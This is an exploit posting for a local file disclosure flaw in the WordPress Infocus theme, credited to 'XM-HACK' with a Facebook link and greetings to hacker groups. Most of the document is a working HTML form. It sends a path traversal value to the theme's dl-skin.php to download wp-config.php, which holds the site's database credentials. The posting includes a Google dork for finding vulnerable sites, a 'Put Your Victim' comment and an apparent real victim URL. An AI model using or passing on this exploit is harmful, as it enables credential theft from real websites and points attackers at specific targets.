WordPress Infocus Local File Disclosure 0day [XM-HACK]

#########################################################
# Exploit Title: WordPress Infocus Local File Disclosure
# Google Dork: inurl:"/wp-content/themes/infocus/"
# Date: 28/07/2014
# Exploit Author: XM-HACK
# Facebook : http://www.facebook.com/XMehdiHack2
# Vendor Homepage: www.wordpress.org
# Version: All Version
# Tested on: Win 7 - Kali
#########################################################

Exploit :

POST

File Infected : http://localhost:80/wordpress/wp-content/themes/infocus/lib/scripts/dl-skin.php


<html><title>Infocus Local File Disclosure [ XM-HACK] </title>
<!-- This Exploit Founded By XM-HACK -->
<style>
html, body { background: black; }
.XM { background: gray;border-color:black;color:#eee; }
</style>
<center><br><br><br>
<body>
<form action="http://127.0.0.1/wp-content/themes/infocus/lib/scripts/dl-skin.php" method="post"> <!-- Here Put Your Victim :D -->
<font face=impact color=white>| Download |</font><br><br><input class="XM" type="text" name="_mysite_download_skin" value="../../../../../wp-config.php"><br><br>
<input type="submit" value="XM-HACK" class="XM">
</form>
<br><br><font face=impact color=#eee>Fb.com/XMehdiHack2</font><br><font color=white size=2>inurl:"/wp-content/themes/infocus/"</font>
<br><br><font color=white size=2>http://l9lawiii.co.il/wp-content/themes/infocus/lib/scripts/dl-skin.php</font>
</body></html>


Greetz To : AnonGhost Members - International Force Team - All Muslims Hackers